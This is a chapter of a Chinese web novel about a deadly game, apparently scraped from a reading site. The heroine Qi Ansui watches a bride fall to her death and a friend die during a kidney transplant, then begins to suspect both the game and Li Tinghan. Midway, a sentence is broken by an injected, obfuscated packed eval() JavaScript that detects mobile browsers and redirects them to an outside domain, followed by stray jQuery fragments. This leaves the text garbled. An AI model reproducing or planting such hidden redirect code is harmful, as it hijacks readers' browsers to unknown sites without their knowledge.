“快叫救护车，新娘楼梯迈空摔下去了，叫她没反应，快叫救护车！”


    现场乱作一团，双方家长和亲朋好友手忙脚乱，有些人都给她做上了心肺复苏，企图能在救护车到来之前采取一些有效的手段。


    祈安岁并没有上前，因此也没看到摔倒的周然，等到她被担架抬走后，祈安岁才跟着追到外面。


    接到病人的救护车没有开走，里面的医生也没有展开抢救，而是正在和家属交涉。


    “患者磕到了头，呼吸中枢被破坏，没有抢救回来的可能了，她早就没有呼吸了。”


    “你再看看呢？再看看吧，她都没出血，就是摔了一下。”说话的是周然的丈夫，此时他已不复刚才光鲜亮丽的形象，跪倒在地上求医生救救周然。


    医生也只是摇了摇头。


    人断气已经十多分钟了，神仙来了也难救。


    婚礼变葬礼，喜事变丧事，任谁也无法接受。


    祈安岁也接受不了，她看着眼前的场景渐渐消失，逐渐浮现出猫咖副本中周然的脸。


    她欢喜地告诉祈安岁，她是因为摔到头才进的游戏，如今，她按照游戏的要求成功通关了六个副本，她要得到新生了，她要得到幸福了。


    可最后依旧是一个死亡的结局。


    “不是新生了吗？为什么又死了？还是从楼梯上摔下去的。”她直勾勾地盯着前方，嘴里喃喃自语。


    祈安岁沉浸在无法理解的悲伤中，丝毫没注意到，旁边的李听寒看起来比她更无法接受，他呼吸都放轻了，皱着眉，脸上是从来没有过的严肃。


    祈安岁很确信，他们确实是通关了，通关奖励也已经发到了她的手机上。


    可现在


    ……


    一个很恐怖的想法在她的脑子里慢慢成型。


    游戏不能续命，或者说，通关了游戏反而可能会死。


    这时，手机突然震动，祈安岁一开始以为是游戏又发什么消息了，打开才看到，是程雅君在他们五人的小群里发的消息。


    一只菌子：〔医院刚给我打了电话，说肾源找到了，明天我就要上手术台了，祝我好运吧。〕


    这距离他们五人一起吃饭才过去了三天，程雅君的肾源就找到了，说她的嘴开过光也不为过。


    几乎是同时，文思墨回复她。


    笔纸砚：〔这么快！你的嘴开过光啊。〕


    有了聊天的发起者，群里聊得热火朝天，除了祈安岁和李听寒，其他三人在群里有来有回地聊了好一会儿。


    祈安岁依旧站在那里愣神，直到看着眼前的救护车开走，亲友在地上哭做一团，她才缓过神来，意识到应该恭喜一下程雅君。


    其实这对祈安岁来说，也是今天唯一的一个好消息了。


    岁岁平安：〔一切顺利，明天你出了手术室去看你。〕


    一只菌子：〔不用的姐姐，我病房在住院一部516，等你有空了再去看我也行。〕


    岁岁平安：〔行，你不用管了，先好好休息吧。〕


    一只菌子：〔行嘞姐姐，到时候你在病房别走，等我清醒了先给你转账。〕


    祈安岁不想要她的钱，因此这条消息没回。她关上手机，大步离开这个埋葬周然的墓地，边走她边给自己洗脑：万一周然的死真的只是意外呢？


    李听寒紧皱的眉头依旧没有放开，见祈安岁离开，他也立刻跟上，跑了两步抢先坐进驾驶座。


    一路上，李听寒将车开得飞快。


    祈安岁坐在副驾驶，除了心中对游戏的恐怖猜想让她心惊外，又悄悄升起了一丝凉意。


    这么想赶紧搬走吗？


    李听寒来的时候是一个人来的，什么都没带，像一个老赖一样就住进来了，所有用的穿的都是来到这里重新置办的，有些还很新。


    他的东西留在这里并没有用，祈安岁便让李听寒带走，不然她还要费力去扔。


    李听寒点头，表示不会给她添麻烦，但想橘子要留在这里。


    祈安岁也很喜欢这只小三花，便没拒绝。她抱着橘子，看着李听寒忙碌的身影，心里很不是滋味儿，她和李听寒认识好像很久了，也经历了许多，说是生死与共到也不为过，但实际也才过去一个月不到。


    因此，属于李听寒的东西并不多，一个双肩包外加一个手提袋，就能将他曾经存在过这个家的痕迹全部抹掉。


    他高大的身影站在防盗门前，像平常去上班一样，说“我走了。”


    “嗯。”


    “砰”得一声，房门关上，祈安岁的眼泪不自觉地淌了下来。


    她也不知道自己这股伤心从何而来，只觉得，现在不该是这个情况。


    她好像做错了什么。


    但做错了什么呢？她回到客厅坐在沙发上想了好久，依旧没有答案。


    橘子不懂它的两个主人到底怎么了，只知道眼前的这位主人不开心，它跳到祈安岁的腿上撒娇，用自己的方式去逗她。


    祈安岁摸着橘子的小脑袋，心里空空的，她把这种空虚归为李听寒离开后的戒断反应。


    不知道为了证明给谁看，祈安岁在李听寒离开后的那天中午，自己按时做了一顿中午饭坐在餐桌上吃，就和李听寒从未出现过一样。


    她的适应能力好像还不错，能很快接受一个老赖住在家里，也很快能接受一个在她心里有不同感情人的离去。


    好像一切都在正常运行。


    第二天，祈安岁又睡了个懒觉，还好昨天给橘子留够了猫粮。


    在猫咖那个副本里，白天黑夜混乱不堪，让祈安岁的生物钟几乎完全报废，再加上昨晚她总是控制不住去想游戏的真相和李听寒。


    她又失眠了。


    好不容易睡着，她又梦到了李听寒。


    梦里，他更温柔体贴，两个人无话不谈，让祈安岁陷入温暖之中无法自拔。


    她不可抗拒地睡了懒觉，等赶到医院的时候，已经快十一点了。


    很巧，程雅君做手术的医院，也是李听寒的工作地点。


    奇怪，怎么又想到他了呢？祈安岁反思自己。


    她来到手术室大厅的角落里，找了个位子坐下玩消消乐，主动和程雅君的家人分开一段距离。


    大家都在外面等了许久，医生才从手术室的大门里出来，程雅君的家人一齐拥上去询问情况，祈安岁只是在原地站起来，并没有上前。


    在家属最期望的眼神中，医生说出了最让人心痛的话：


    手术失败了。


    事情没向预料的方向发展，程雅君现在已经死在了手术台上。


    祈安岁在一旁听到这个结果后简直不敢相信，程雅君不应该现在就死掉的。


    这不合逻辑。


    按理来说，这台手术是不应该失败的。


    程


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15968134|176106||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    雅君可以死于术后强烈的排异反应，可以死于术后严重的感染，不管怎样，那也应该等生存时间耗尽后才会死亡。


    但她确确实实是死在了手术台上，死在了有效生存时间范围内。


    不过，程雅君和周然的情况不同。


    周然是完全通关，而程雅君是进了几个副本，并没有完成六个副本的最终通关任务。


    因此，程雅君死亡的这个现象也并不是完全无法解释，还有一种可能会造成胜券在握的手术失败，最终死在手术台上。


    那就是，她又在不知情的情况下被迫卷入副本，并且在副本内触发了死亡条件最终死亡，导致了在现实世界的死亡。


    但这种猜想的证明需要拿到程雅君的手机，去看她游戏软件里的副本记录。


    祈安岁看程雅君的家属在手术室门前悲痛地大哭，立马掏出手机，条件反射地给李听寒发消息，让他去程雅君的病房等着自己，她一会就过去。


    发完消息没等李听寒回复，她就向程雅君的病房飞奔。


    她觉得李听寒能看到那条消息。


    等祈安岁跑到病房门口，发现有一名陌生的小护士正在门口站着不知道在干什么。


    那名小护士是她前几天没见过的，同样小护士也没见过她，出于履行职责，她将祈安岁拦住，问她找谁。


    她扶着墙，累得上气不接下气，说道：“我找李听寒，他在里面吗？”


    小护士看她气喘吁吁的着急样子，以为她有急事找李主任，便匆忙地点了个头，还帮她把门打开：“刚进去，在里面查房呢，你快去吧。”


    病房是一间单人VIP病房，里面的生活气息比较浓厚，能看出这间病房的主人曾经在这里住过很长一段时间。


    房间内，李听寒的呼吸也有些不稳，他站在对着门的大窗户前，听到声响后转过头，发现是祈安岁后朝她走来：“什么事啊让我来这里等你，还这么急，先坐下歇歇。”


    祈安岁摆摆手示意不用，而后将程雅君放在病床上的手机找出来，按亮屏幕。


    手机没有密码，里面只有那一个猫头软件，点进去找到“历史记录”。


    程雅君通关了四个副本，上面显示，程雅君最后进入的副本，叫“书香公寓”，且已成功通关。


    祈安岁握着手机的手不自觉得用力到指尖发白，微微颤抖却并不自知。


    “怎么了？”李听寒走过来，握住她发抖的手，问道。


    祈安岁顺着握住她手的胳膊往上看，用很严肃的语气说道：“你有没有想过，这个游戏，也许不是那么好心？”


    说到这，祈安岁觉得握着他的那个大手僵了一下。


    而后，李听寒声音冷冷地说：“是程雅君发生什么了吗？你怎么知道的？”


    “你早就知道了？”祈安岁反问。


    李听寒：“知道什么？我是看周然出事才怀疑的，现在你又来程雅君的病房找我，肯定是程雅君也出事了。”


    不得不说，他的逻辑没有问题，可祈安岁就是觉得，眼前的这个男人一定有事情瞒着他。


    祈安岁冷冷得看了他一眼，扭头就走。


    熟悉的温柔声音在身后响起：“你要是再去的话，自己注意安全，我最近有点忙，就不陪你了。”


    听到这些话，祈安岁往外走的脚步变缓，微微回了一下头，最终还是没说什么，直接出了病房。